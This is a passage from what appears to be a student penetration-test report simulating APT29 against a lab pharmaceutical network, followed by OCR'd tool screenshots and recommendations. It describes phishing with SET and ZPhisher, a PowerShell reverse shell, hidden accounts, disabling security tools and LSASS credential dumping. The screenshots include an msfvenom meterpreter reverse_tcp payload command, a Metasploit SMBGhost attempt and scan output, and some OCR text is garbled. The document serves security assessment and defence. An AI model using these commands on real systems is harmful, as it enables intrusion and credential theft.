APT29 has been known exploit several vulnerabilities, including CVE-2021-36034 [10]. The network does not appear to be vulnerable to this exploit or any other notable CVEs.

[bookmark: _Toc197371925]5.3.2	Spearphishing Attachment
The SET framework was used to create the malicious Spearphishing attachment which was sent to a user.
[image: ]
[bookmark: _Toc197356774]Figure 41 Using Mutt to send email and attachment to victim


[bookmark: _Toc197371926]5.3.3 	Spearphishing Links
ZPhisher was used to create a phishing page, that looks like Microsoft and the listener. 
[image: ]
[bookmark: _Toc197356775]Figure 42 email contents
The link to the second phishing page was sent to a different user.
[image: ]
[bookmark: _Toc197356776]Figure 43 Using Mutt to deliver phishing link
[image: ]
[bookmark: _Toc197356777]Figure 44 Result when user clicked on the link

Credentials discovered and were used to log into Server 1.
[bookmark: _Toc197371927]5.4	Execution
[bookmark: _Toc197371928]5.4.1	Command and Scripting Interpreter
Command for a Remote Shell written for PowerShell. PowerShell was chosen over Python as PowerShell is more likely to be installed and used on a Windows Server than Python.
[image: ]
[bookmark: _Toc197356778]Figure 45 Reverse shell sent to target
Command run on Server1 creating a backdoor to the attacker machine.
[bookmark: _Toc197371929]5.5	Persistence
[bookmark: _Toc197371930]5.5.1	Valid Accounts
The PowerShell command “Get-ADUser -Filter * -Property DisplayName, EmailAddress” was used on Server 1 to obtain a list of the Active Directory (AD) users.
[image: ]
[bookmark: _Toc197356779]Figure 46 AD Users
New user account ‘pentest’ and group ‘HiddenUsersGroup” created:
[image: ]
[bookmark: _Toc197356780]Figure 47 New group created
[bookmark: _Toc197371931]5.6	Defence Evasion
[bookmark: _Toc197371932]5.6.1 	Obfuscate Files or Information
New Group has been hidden to avoid detection.
[image: ]
[bookmark: _Toc197356781]Figure 48 New Group has been hidden

[bookmark: _Toc197371933]5.6.2 Disable Security Tools
Security tools have been disabled. This should set off alarm bells.
[image: ]
[bookmark: _Toc197356782]Figure 49 Security tools disabled
[bookmark: _Toc197371934]5.7	Credential Access
[bookmark: _Toc197371935]5.7.1	OS Credential Dumping
Dumped credentials can then be used to move across the network or to access restricted information [64]. Credentials can be extracted from memory. Here we use ProcDump [65] to extract credentials from LSASS (Local Security Authority Subsystem Service) [66].

[image: ]
[bookmark: _Toc197356783]Figure 50 ProcDump obtained password file

[image: ]
[bookmark: _Toc197356784]Figure 51 Password dump transferred to attacker machine for password cracking
John the Ripper is an open-source password cracking tool widely used for security auditing and password recovery [67].
[image: ]
[bookmark: _Toc197356785]Figure 52 One password was cracked by John the Ripper
[bookmark: _Toc197371936]5.8	Discovery
[bookmark: _Toc197371937]5.8.1	System Information Discovery
This phase helps to identify attack vectors. The ‘systeminfo’ command provides detailed information about the computer's configuration and OS [68].
[image: ]
[bookmark: _Toc197356786]Figure 53 System Information obtained

The “Get-ComputerInfo” cmdlet in PowerShell queries the system for a wide range of properties returning them in a structured format [69].
[image: ]
[bookmark: _Toc197356787]Figure 54 PowerShell Get-ComputerInfo
[bookmark: _Toc197371938]5.8.2	Network Service Scanning
Creating a network map provides insight into the network's layout and highlights possible access points. The -an flag with netstat displays all active network connections and listening ports in numerically [70].
[image: ]
[bookmark: _Toc197356788]Figure 55 Network scanning with netstat
[bookmark: _Toc197371939]5.9	 Lateral Movement
[bookmark: _Toc197371940]5.9.1	Remote Services
Remote desktop session will enable the tester to gain direct and persistent access the target [71].
[image: ]
[bookmark: _Toc197356789]Figure 56 Creating a remote desktop connection between the two servers



[image: ]
[bookmark: _Toc197356790]Figure 57 Using systeminfo to find out about the new Server
[image: ]
[bookmark: _Toc197356791]Figure 58 Scanning open ports
ARP (Address Resolution Protocol) identifies IP addresses of active devices on the local network for mapping or targeting [72]. The ARP table displays MAC addresses, which can help identify hardware and exploit known vulnerabilities.
[image: ]
[bookmark: _Toc197356792]Figure 59 Using ARP to discover connected devices

[bookmark: _Toc197371941]5.10 	Collection
[bookmark: _Toc197371942]5.10.1		Data from Information Repositories
In a Windows environment like this, data is most likely to be stored in Microsoft SQL Server.
[image: ]
[bookmark: _Toc197356793]Figure 60 Finding SQL Services
[image: ]
[bookmark: _Toc197356794]Figure 61 Finding Customers Table but unable to query it
It appears to be a permission issue. 
[image: ]
[bookmark: _Toc197356795]Figure 62 Checking permissions
The certificate is not trusted. This can be resolved by adding ‘–TrustServerCertificate’ to the query string [73].
[image: ]
[bookmark: _Toc197356796]Figure 63 Finding CPC Secrets

[image: ]
[bookmark: _Toc197356797]Figure 64 Extracting data from the database and saving to file

[image: ]
[bookmark: _Toc197356798]Figure 65 Contents of customer details
[bookmark: _Toc197371943]5.11	Exfiltration
[bookmark: _Toc197371944]4.7.12		Impact
Sensitive information regarding customer details was extracted.
[image: ]
[bookmark: _Toc197356799]Figure 66 Showing customer data on the attacker machine
4.7.12.1	Data Destruction
At this point a threat actor could destroy or encrypt the data and demand a ransom.
[bookmark: _Toc197371945]6	Report
[bookmark: _Toc197371946]6.1	Executive Summary
The purpose of this penetration test was to evaluate the security posture of Cureton Pharmaceutical Company (CPC) against the advanced persistent threat (APT) group known as APT29 (Midnight Blizzard). APT29 is known for its sophisticated cyber espionage activities targeting government, diplomatic, and high-value sectors such as pharmaceutical companies.
The test focused on simulating APT29’s Tactics, Techniques and Procedures (TTPs), including:
· Phishing attacks to access the organisations susceptibility to spear-phishing campaigns.
· Credential harvesting to evaluate the effectiveness of defences against credential theft.
· Persistence mechanisms to test the ability to detect and mitigate against persistent access techniques.
· Data exfiltration.
[bookmark: _Toc197371947]6.1.1	Key Findings
The following risks were identified:
· Several employees were susceptible to spear-phishing emails, leading to credential compromise.
· Administrative users did not have standard accounts enabling privilege escalation.
· Some passwords were found to be weak and easily cracked.
· Passwords were reused, allowing access to critical servers.
· Lack of adequate monitoring and alerting mechanisms to detect access, persistence, and data exfiltration.
· Lack of patch management process leaves critical servers unpatched.

[bookmark: _Toc197371948]6.1.2	Recommendations
To enhance security against APT29's TTPs, CPC should:
· Conduct regular employee cybersecurity training.
· Introduce Multi-Factor Authentication (MFA).
· Enforce Strong Password Policies.
· Strengthen Email Security.
· Implement the principle of least privilege.
· Enhance Data Protection and access controls.
· Introduce a robust patch management process.
· Improve logging and monitoring.

[bookmark: _Toc197371949]6.2	 Scope and Methodology
[bookmark: _Toc197371950]6.2.1	Testing Approach
The test was conducted using grey box testing techniques to simulate real-world attack scenarios, reduce false positives and improve efficiency.  
[bookmark: _Toc197371951]6.2.2	Scope
The test focused on simulating APT29's TTPs, including:
· Phishing Attacks: Assessing the organization's susceptibility to spear-phishing campaigns.
· Credential Harvesting: Evaluating the effectiveness of defences against credential theft.
· Persistence Mechanisms: Testing the ability to detect and mitigate persistent access techniques.
· Data Exfiltration: Simulating data theft scenarios to measure response capabilities.
[bookmark: _Toc197371952]6.2.3	Methodology
The test was conducted using manual techniques and automated tools to replicate APT29's known attack vectors. The test included:
· Reconnaissance: Gathering information about the target environment.
· Exploitation: Attempting to breach security controls using APT29's methods.
· Post-Exploitation: Simulating actions taken after initial compromise to maintain access and exfiltrate data.

6.3 [bookmark: _Toc197371953] Vulnerabilities and Findings
The network does not appear to be currently vulnerable to any vulnerability known to be exploited by APT 29. However, both servers indicate the same potential vulnerabilities and configuration issues:

[bookmark: _Toc197361006]Table 7 Server Misconfigurations
	Misconfiguration
	Vulnerability
	OWASP Recommendation

	X-Frame-Options header is missing
	Clickjacking attacks 
	Add this header with the value of ‘DENY’ or ‘SAMEORIGIN’ in the server configurations [74]

	X-Content-Type Options header is missing
	Clickjacking attacks and MIME type sniffing
	Add this header with the value ‘nosniff’ in the server configurations [73].

	HTTP methods OPTION, TRACE, GET, HEAD and POST allowed
	Cross-Site Tracing (XST) which can lead to Cross-Site Scripting (XSS) attacks.
	Disable the TRACE method (if it is not needed) in the server configurations [75].



[bookmark: _Toc197371954]6.4	Recommendations and Mitigations
The following recommendations will strengthen the overall security posture of CPC and help protect against other Advanced Persistent Threats (APTs).
[bookmark: _Toc197371955]6.4.1 Strengthen Access Controls
Strengthening access controls is essential for enhancing security and protecting sensitive information [76].
6.4.1.1		Implement Multi-Factor Authentication (MFA)
Require multi-factor authentication for all administrative users, especially those accessing sensitive systems and data. MFA adds an extra layer of security by requiring users to provide two or more verification factors. APT29 is known to conduct password spraying attacks [77]; MFA will help mitigate this.
6.4.1.2		Role-Based Access Control (RBAC)
Adopt role-based access control to ensure users have access only to the resources necessary for their role [78]. This is included as part of the Azure subscription and minimises the risk of unauthorised access.
6.4.1.3		Regular Access Reviews
Conduct regular reviews of user access permissions to ensure they are up-to-date and appropriate. Remove access for users who no longer need it or have left the organization.
6.4.1.4		Least Privilege Principle
Enforce the principle of least privilege by granting users the minimum level of access required to perform their tasks [76]. This reduces the potential impact of compromised accounts.
6.4.1.5		 Strong Password Policies
Implement strong password policies that require complex passwords and regular changes. Encourage the use of passphrases and avoid common passwords. Look at adopting Single-Sign-On or Passwordless authentication [79].
6.4.1.6		Access Controls for Logs
Ensure that access to log data is restricted to authorised personnel only. Use role-based access controls to protect the integrity and confidentiality of log information.
6.4.1.7		Segmentation of Networks
Segment networks to isolate sensitive systems and data from less critical areas. This limits the potential spread of an attack and enhances overall security.
6.4.1.8		User Training and Awareness
Provide regular training and awareness programs to educate users about the importance of access controls and how to recognise potential security threats including phishing emails.
6.4.1.9		Automated Access Management
Utilise automated tools for managing access controls, such as Identity and Access Management (IAM) solutions. These tools can streamline the process and ensure consistency.
6.4.1.10	Incident Response Plan
Develop and maintain an incident response plan that includes procedures for addressing access control breaches. Ensure that users know how to report suspicious activities and that there are clear steps for remediation.

[bookmark: _Toc197371956]6.4.2	Monitoring and Logging
Strengthening monitoring and logging is crucial for detecting and responding to security incidents effectively [80]. These would have detected the test several times.
6.4.2.1		Implement a SIEM Solution
Deploy a Security Information and Event Management (SIEM) system to centralise and analyse log data from various sources. SIEM solutions like Microsoft Defender, Splunk or LogRhythm can help detect anomalies and correlate events across the network. 
The cost of SIEM solutions varies widely based on factors such as pricing model, the data volume, and features offered. Microsoft Defender for Business starts from $3 per user/month [81].
6.4.2.2		Enable Comprehensive Logging
Ensure that all critical systems, applications, and network devices are configured to generate detailed logs. This includes system logs, application logs, authentication logs, network device log and email traffic logs. Ensure time is synced to aid correlation and incident response.
6.4.2.3		Regular Log Reviews
Establish a routine for regular log reviews to identify and investigate suspicious activities. Automated tools can assist in highlighting anomalies, but manual reviews are also essential for thorough analysis.
6.4.2.4		Log Retention Policies 
Implement log retention policies to ensure that logs are stored for an adequate period. This allows for historical analysis and forensic investigations if needed. Typically, security event logs should be retained for at least 12 months.
6.4.2.5		Real-Time Monitoring and Alerts
Set up real-time monitoring and alerting mechanisms to detect and respond to security incidents promptly. Use predefined rules and thresholds to trigger alerts for unusual activities, such as multiple failed login attempts or unexpected privilege escalations.
6.4.2.6		Correlation and Analysis
Use log correlation techniques to link related events and identify patterns indicative of security threats. This helps in understanding the context of incidents and improving response strategies.
6.4.2.7		Baseline Normal Behaviour
Establish baselines for normal system and network behaviour. This helps in identifying deviations that may indicate potential security incidents.
6.4.2.8		Incident Response Integration
Integrate logging and monitoring with your incident response plan. Ensure that logs provide actionable insights that can guide response efforts during a security incident.

[bookmark: _Toc197371957]6.4.3	Email Security
Enhancing email security is essential to safeguard against phishing, spoofing, and other email-based threats [82] [83].
6.4.3.1		Advanced Email Filtering
Implement advanced email filtering solutions to detect and block malicious emails. Consider tools that incorporate machine learning and AI to identify sophisticated phishing attempts.
6.4.3.2	 	Email Authentication Protocols
Enforce email authentication protocols such as SPF (Sender Policy Framework), DKIM (Domain Keys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting & Conformance) to prevent email spoofing.
6.4.3.5		Email Encryption
Implement email encryption to protect sensitive information transmitted via email. Ensure both in-transit and at-rest encryption to safeguard data. 
6.4.3.6		Anti-Malware Protection
Deploy anti-malware solutions to scan and block malicious attachments and links in emails. Keep these solutions updated to protect against the latest threats. Microsoft offers anti-malware protection through its Microsoft Defender suite [81].
6.4.3.7	 	Access Controls
Restrict access to email systems based on roles and responsibilities. Ensure that only authorised personnel have access to sensitive email accounts and data. 
Admin users should have separate accounts for administrative tasks and regular activities such as email.
6.4.3.8		Regular Security Audits
Perform regular security audits of email systems to identify and address vulnerabilities. Use penetration testing to simulate real-world attacks and assess the effectiveness of email security controls.
6.4.3.9		Incident Response Plan
Develop and maintain an incident response plan specifically for email security incidents. Ensure that employees know how to report suspicious emails and that there are clear procedures for handling such incidents.

[bookmark: _Toc197371958]6.4.4	Patch Management
Patching addresses vulnerabilities in software and systems that could be exploited by attackers [84]. Unpatched systems are prime targets for cyberattacks, which can lead to data breaches, ransomware infections, and other security incidents. For example, the WannaCry ransomware attack in 2017 exploited a known vulnerability in Windows systems that had a patch available [85].
6.4.4.1		Establish a Patch Management Policy
Develop a comprehensive patch management policy that outlines the procedures for identifying, testing, deploying, and verifying patches. This policy should include clearly defined roles and responsibilities, patch prioritisation, and compliance requirements.
6.4.4.2 		Automated Patch Management Tools
Deploy automated patch management tools to streamline the process. Solutions like Microsoft SCCM, WSUS, or third-party tools can help ensure timely and consistent application of patches across all systems.
6.4.4.3 		Regular Vulnerability Scanning
Conduct regular vulnerability scans to identify unpatched systems and vulnerabilities. Integrate these scans into the patch management process to ensure continuous monitoring and remediation. Tenable Nessus offers several pricing options, starting at $4390 a year [86]. 
6.4.4.4 		Patch Testing Environment
Set up a dedicated patch testing environment to test patches before deploying them to production systems. This helps ensure that patches do not introduce new issues or conflicts.
6.4.4.5 		Patch Prioritisation
Prioritise patches based on the severity of vulnerabilities and the criticality of the affected systems. Use a risk-based approach to address the most critical vulnerabilities first.
6.4.4.6		Scheduled Patch Deployment
Implement a scheduled patch deployment process to apply patches during off-peak hours, minimising disruption to business operations. Regularly update systems to ensure they are protected against the latest threats.
6.4.4.7		Backup and Recovery Plans
Develop backup and recovery plans to ensure that systems can be restored quickly in case a patch causes issues. Regularly back up critical data and configurations before applying patches.
6.4.4.8		Compliance and Reporting
Ensure that patch management practices comply with relevant industry standards and regulations including GDPR [25], ICH Guidelines [87], FDA Guidance on Cybersecurity [88], ISO13485 [89], Good Manufacturing Practice (CGMP) [90] and 21 CFR Part 11 [91].
Regularly report on patch management status to stakeholders to maintain transparency and accountability.
6.4.4.9		Incident Response Integration
Integrate patch management with the CPC's incident response plan. Ensure that patches are applied promptly in response to identified vulnerabilities and that there are clear procedures for handling patch-related incidents.
6.5 [bookmark: _Toc197371959]Clean up activities
After a test, it's crucial to clean up any artifacts left behind to ensure the target environment is secure and stable [92]. The following artifacts were removed:
· Terminate all active shell connections.
· Close and remove all backdoors.
· Delete all user accounts and groups created for testing purposes.
· Remove all scripts.
· Revert all configuration changes and re-enable security tools.
· Uninstall tools and software used during the test.
[bookmark: _Toc197371960]6.6 Conclusion and Next Steps
[bookmark: _Toc197371961]6.6.1	Conclusion
Summary of findings:
· Access Controls: Identified weaknesses in access control mechanisms, including lack of multi-factor authentication and insufficient role-based access controls.
· Logging and Monitoring: Found gaps in logging and monitoring practices, such as inadequate log retention and lack of real-time monitoring.
· Patch Management: Discovered that CPC lacks a formal patch management system, leading to unpatched vulnerabilities.
· Email Security: Highlighted vulnerabilities in email security, including susceptibility to phishing attacks and lack of email authentication protocols.
· Overall Security Posture: The penetration test revealed several critical areas that need improvement to enhance CPC’s security posture. Addressing these vulnerabilities will significantly reduce the risk of cyberattacks and improve compliance with industry standards.
[bookmark: _Toc197371962]6.6.2	Next Steps
Immediate Actions:
· Implement Multi-Factor Authentication (MFA): Begin by enforcing MFA for administrative user or users accessing sensitive systems.
· Deploy SIEM Solution: Set up a Security Information and Event Management (SIEM) system to centralise and analyse log data.
· Establish Patch Management Policy: Develop and implement a comprehensive patch management policy to ensure timely application of patches.
· Enhance Email Security: Implement advanced email filtering and authentication protocols like SPF, DKIM, and DMARC.
Short-Term Goals (Next 3-6 Months):
· Conduct Regular Access Reviews: Schedule regular reviews of user access permissions to ensure they are appropriate and up-to-date.
· Set Up Patch Testing Environment: Create a dedicated environment for testing patches before deploying them to production systems.
· User Training and Awareness: Provide training sessions to educate users about the importance of security practices, including recognising phishing attempts.
Long-Term Goals (Next 6-12 Months):
· Continuous Monitoring and Improvement: Establish a routine for continuous monitoring and improvement of security practices. Regularly update policies and procedures based on new threats and vulnerabilities.
· Regular Security Audits: Conduct regular security audits to ensure compliance with industry standards and regulations.
· Incident Response Plan: Develop and maintain a robust incident response plan that includes procedures for handling security incidents related to access controls, patch management, and email security.
6.7 [bookmark: _Toc197371963]Invoice for Professional Services

[image: ]
[bookmark: _Toc197356800]Figure 67 Invoice for Professional Services
[bookmark: _Toc197371964]7	Conclusion
Pharmaceutical companies face significant cyber threats that can compromise sensitive data, disrupt operations, damage reputations and risk the safety and well-being of the public.
Given the severity of these threats, all companies (including pharmaceutical companies) to adopt robust cybersecurity measures. This includes regular security audits, employee training, and investment in advanced security technologies.
Looking ahead, the landscape of cyber threats will continue to evolve as will the capabilities of the threat actors. Companies must stay vigilant and proactive in their cybersecurity efforts to protect their valuable assets and maintain trust with stakeholders.
By prioritising cybersecurity, companies can protect themselves and ensure the continuity of their critical operations.
8 [bookmark: _Toc197371965] Future Work
Automation presents a promising avenue for enhancing cybersecurity. It can streamline security processes, reduce human error, and enable faster response times to cyber threats. Implementing automated systems for threat detection and response can significantly bolster the security framework.
Future work should focus on automating routine security tasks such as patch management, vulnerability assessments, and incident response. Additionally, leveraging AI and machine learning can enhance the ability to predict and prevent cyberattacks.
While automation offers numerous benefits, there are many potential challenges such as integration with existing systems, cost implications, and ensuring the reliability of automated solutions.
By embracing automation, companies can enhance their cybersecurity posture and improve operational efficiency and resilience against future threats.
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Top 10 Web Application Security Risks

There are three new categories, four categories with naming and scoping changes, and
some consolidation in the Top 10 for 2021.

2017 2021
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53 Captured ARP Req/Rep packets, from 3 hosts.

Total size: 3180

pLd At MAC Address Count Len MAC Vendor / Hostname
192.168.10.200 00:0c:29:33:ab:b5 21 1260 VMware, Inc.
192.168.10.201 00:0c:29:98:94:4a 25 1500 VMware, Inc.
192.168.10.254 00:50:56:ef:43:b6 7 420 VMware, Inc.
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" nmap -A 192.168.10.200

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 07:42 EDT
Nmap scan report for 192.168.10.200

Host is up (0.00085s latency).

Not shown: 987 closed tcp ports (reset)

PORT STATE SERVICE VERSION
53/tcp  open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0

| http-methods:

I_ Potentially risky methods: TRACE

| http-server-header: Microsoft-I15/10.0
| http-title: ITS Windows Server

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-29 11:42:362)

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cpc.msfte., Site

Default-First-Site-Name)

445/tcp open microsoft-ds?

464/tcp open  kpasswdS?

593/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cpc.msfte., Site

Default-First-Site-Name)
3269/tcp open tcpwrapped

5985/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)

|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
MAC Address: 00:0C:29:33:AB:B5 (VMuare)
Device type: general purpose

Running: Microsoft Windows 2019

05 CPE: cpe:/o:microsoft:windows_server_2019
05 details: Microsoft Windows Server 2019
Network Distance: 1 hop

Service Info: Host: DC1-NWT; O

Host script results:

| _nbstat: NetBIOS name: DC1-NWT, NetBIOS user: <unknown>, NetBIOS MAC: 0

)
| smb2-security-mode:
3

| :

I_ Message signing enabled and required
1 smb2-time:

| date: 2025-04-29T11:42:38

I_ start_date: N/A

TRACEROUTE
HOP RTT ADDRESS
1 0.85 ms 192.168.10.200

Windows; CPE: cpe:/o:microsoft:windous

root@kali: omeflali

:33:ab:b5 (VMware
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NetBIOS Name Table for Host 192.168.10.200:

Incomplete packet, 191 bytes long
Name Service Type

DC1-NWT <00> UNIQUE
CPC <00> GROUP
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o1 1T

Adapter address: 00:0c:29:33:ab:b5
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NetBIOS Name Table for Host 192.168.10.201:
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Name Service Type
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$ enum4linux -a 192.168.10.200

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Apr 2
9 15:43:54 2025

( Target Information )

Target ..
RID Range .
Username ..
password
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

192.168.10.200
500-550,1000-1050

: site.

( Enumerating Workgroup/Domain on 192.168.10.200 )

[+] Got domain/workgroup name: CPC

( Nbtstat Information for 192.168.10.200 )

Looking up status of 192.168.10.200
DC1-NWT <00> - B <ACTIVE> Workstation Service
cPC <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
CcPC <1c> - <GROUP> B <ACTIVE> Domain Controllers

DC1-NWT <20> - B <ACTIVE> File Server Service
cpc <1b> - B <ACTIVE> Domain Master Browser

MAC Address = 00-0C-29-33-AB-B5

ind a firews

( Session Check on 192.168.10.200 )





image25.png




image26.png
1sf6 > services

Services

ost port proto name state info

192.168.10.200 53  tcp  domain open  Simple DNS Plus
192.168.10.200 80  tcp  http open  Microsoft IIS httpd 10.0

192.168.10.200 88 tep kerberos-sec open Microsoft Windows Kerberos server time: 2025-
04-29 21:55:53Z

192.168.10.200 135 tcp msrpc open  Microsoft Windows RPC
192.168.10.200 139  tcp netbios-ssn  open Microsoft Windows netbios-ssn
192.168.10.200 389  tcp ldap open  Microsoft Windows Active Directory LDAP Domai

n: cpc.msft@., Site: Default-First-Site-Name

192.168.10.200 445 tcp  microsoft-ds open SMB Detected (versions:2, 3) (preferred diale
ct:SMB 3.1.1) (compression capabilities:) (en
cryption capabilities:AES-128-GCM) (signature
s:required) (guid:{0821beaf-2dc5-4c02-85fe-2f
8c3d130c45}) (authentication domain:CPC). Hos
t is running Version 10.0.17763 (likely Windo
ws 10 version 1809/Windows Server 2019)

192.168.10.200 464 tcp  kpasswdS open

192.168.10.200 593  tcp ncacn_http open  Microsoft Windows RPC over HTTP 1.0

192.168.10.200 636 tcp  tcpwrapped  open

192.168.10.200 3268 tcp  ldap open  Microsoft Windows Active Directory LDAP Domai
n: cpc.msftd., Site: Default-First-Site-Name

192.168.10.200 3269 tcp tcpwrapped open

192.168.10.200 5985 tcp  http open  Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
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webattack>2
Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important :

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn’t know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.0.54
[-] SET supports both HTTP and HTTPS

[-] Example: http://wwn.thisisafakesite.com

Sset:uebatiack> Enter the url to clone: wm.linkedin.com

192.168.0.54

[*] Cloning the website: http://wm.linkedin.com
[*] This could take a little bi:

The best way to use this attack is if username and password form fields are available. Regardles
s, this captures all POSTs on a website

[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[+] Information will be displayed to you as it arrives below:
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- msfvenon -p windows/meterpreter/reverse_tcp Lhost=192.168.0.54 lport=4444 —f exe -o mypayload.exe

[-] No platforn was selected, choosing Msf::Module:: Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes
Final size of exe fil
saved as: mypayload.exe

73802 bytes
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ol
File Actions Edit View Help

ZPHISHEF...

[-] Successfully Hosted at : http://127

0.1:8080

[-1 Waiting for Login Info, Ctrl + C to exit...[]
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Documentation

£ CVEdetails.com Metasploit modules that can be used to exploit Microsoft » Windows Server 2019

powered by SecurityScorecard

Order by Disclosure Date  Module Name Module Type
v Vulnerabilities

28 metasploit modules found

By Date

By Type Q-

Known Exploited 4* Windows Cloud File Mini Filer Driver Heap Overflow

Assigners Disclosure Date: 2024-12-19 First seen: 2025-03-26

CVSS Scores exploit/windows/local/cve_2024_30085_cloud_files

EPSS Scores This module exploits the Windows Cloud Files Mini Fliter Driver cldflt.sys on Windows workstation versions 101809 through 11_23H2
Search and Windows server versions 2022 to 22_23H2. Authors: - Alex Birnberg - ssd-disclosure - bwatters-r7

More information %
v Vulnerable Software

“* Windows Access Mode Mismatch LPE in ks.sys
Disclosure Date: 2024-06-11 First seen: 2024-12-06
exploit/windows/local/cve_2024_35250_ks_driver

The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists a LPE in
~ Vulnerability Intel. this driver which can be exploited on many recent versions of Windows 10, Windows 11, Windows Server 2022. Authors: - AngelBoy

Vendors
Products

Version Search

Newsfeed - varwara - jheysel-r7

More information %
Open Source Vulns

Emerging CVEs “* Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutinternalSecurityAttributes
Feeds Disclosure Date: 2024-06-11 First seen: 2024-09-19
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8 httpsy//nvd.nist.gov/vu

An official website of the United States government

NERABILITIES

JKCVE-2020-0796 Detail

Description

A remote code execution vulnerability exists in the way that the Microsoft
Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka
"Windows SMBv3 Client/Server Remote Code Execution Vulnerability".

Metrics

CVSS Version 4.0 Iw, CVSS Version 2.0

QUICKINFO

CVE Dictionary Entry:

NVD Published Date:
03/12/2020

NVD Last Modified:
04/04/2025

Source:

Microsoft Corporation
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View the full module info with the info, or info -d command.

56 exploit . indon/<u/cue 2020 0796 sihhost) > set RHOSTS 192.168.10.200

RHOSTS = 192.168.10.200

M6 exploft(\ /oo < ci 000 0700 ihiiot) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD = windows/x64/meterpreter/reverse_tcp

56 explOAL( 1o /<uls/ e 2020 0756 SiiThost) > set LHOST 192.198.10.1

LHOST = 192.198.10.1

56 exploAt 1o/ suls/cve 2020 0796 sbahost) > set LPORT bbb

LPORT = 4hbh

mf6 explodt(indons /suls/cue 2020 0796 subghost) > exploit

" Handler failed to bind to 192.198.10.1:4444:
[#] Started reverse TCP handler on 0.0.0.0:44bb
[+] 192.168.10.200:445 - Running automatic check (*set AutoCheck false” to disable)

| 192.168.10.200:445 - Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set Fo
rceExploit true” to override check result.

[#] Exploit completed, but no session was created.

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > [|
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letioati)-[-]
§ smbclient //192.168.10.200/share -U administrator -p 445
Password for [WORKGROUP\administrator
session setup failed: NT_STATUS_LOGON_FAILURE
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File Actions Edit View Help

KRAAKXKGKAAIXKAKAAIAKGXAZN% Hacked: ALL the things FXXXKXKAXKIKAKAXXIKAKAXKIKAXY
e A e R R R R R A R e e

Press SPACE BAR to continue

metasploit v6.4.56-dev

2505 exploits - 1291 auxiliary - 431 post
1610 payloads - 49 encoders - 13 nops

9 evasion

nsf6 >

[

>
> use auxiliary/scanner/smb/smb_lookupsid

[+] Using action LOCAL - view all 2 actions with the show actions command
[#] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(- onner/ nb/sib Lookupsid) > set RHOSTS 192.168.10.200
RHOSTS = 192.168.10.2

msf6 auxiliary(=conncs/<nb/snb Lookupsid) > run

[#] 192.168.10.200:445 ~ PIPE(Lsarpc) LOCAL(CPC - S-1-5-21-2453120288-120491625-1660536739) DOMA
IN(CPC - S-1-5-21-2453120288-120491625-1660536739)

[+] Trying RID 4000 / 4000

SMB Lookup SIDS Output

Type Name RID

[+] 192.168.10.200: - Scanned 1 of 1 hosts (100% complete)
[#] Auxiliary module execution completed
nsf6 auxiliary(scanner/smb/smb_lookupsid) > [l
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© Invalid option RHOSTS: Host resolution failed: <target>
msf6 auxiliary(: anner b S SHinsiaroo) > set RHOSTS 192.168.10.200

RHOSTS = 192.168.10.200

msf6 auxiliary(scanner/snb/snb_enunshares) > run

1 192.168.10.200:139 - Login Failed: Unable to negotiate SMB1 with the remote host: Not a vali
d SMB packet.

| 192.168.10.200:139 - Error when trying to enumerate shares - STATUS_ACCESS_DENIED

[*] 192.168.10.200: - Scanned 1 of 1 hosts (100% complete)

[#] Auxiliary module execution completed

msf6 auxiliary(scanner/smb/smb_enumshares) >/ ||
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[ (100t9 kali)-[/home/kald]
+ dig sty _ldap._tcp.dc._msdcs.CPC.MSFT @192.168.10.200

<<>> DiG 9.20.7-1-Debian <<>> srv _ldap._tcp.dc._msdcs.CPC.MSFT @192.168.10.200
global options: +cnd

3 Got answer:

—»HEADER«— opcod
flags: qr aa rd raj QUER

QUERY, status: NOERROR, id: 45194
, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 3

OPT PSEUDOSECTION:

i EDNS: version: 0, flags:; udp: 4000
3 QUESTION SECTION:

;_ldap._tcp.dc._msdcs.CPC.MSFT. IN SRV

i ANSWER SECTION:

_ldap._tcp.dc._msdcs.CPC.MSFT. 600 IN SRV 0 100 389 dcl-nwt.cpc.msft.
3 ADDITIONAL SECTION:

dc1-nwt.cpc.msft. 3600 1IN A 192.168.10.200
dcl-nwt.cpc.msft. 3600 1N A 192.168.1.1

Query time: 0 msec
SERVER: 192.168.10.200#53(192.168.10.200) (UDP)
3 WHEN: Tue Apr 29 08:46:19 EDT 2025

MSG SIZE rcvd: 126

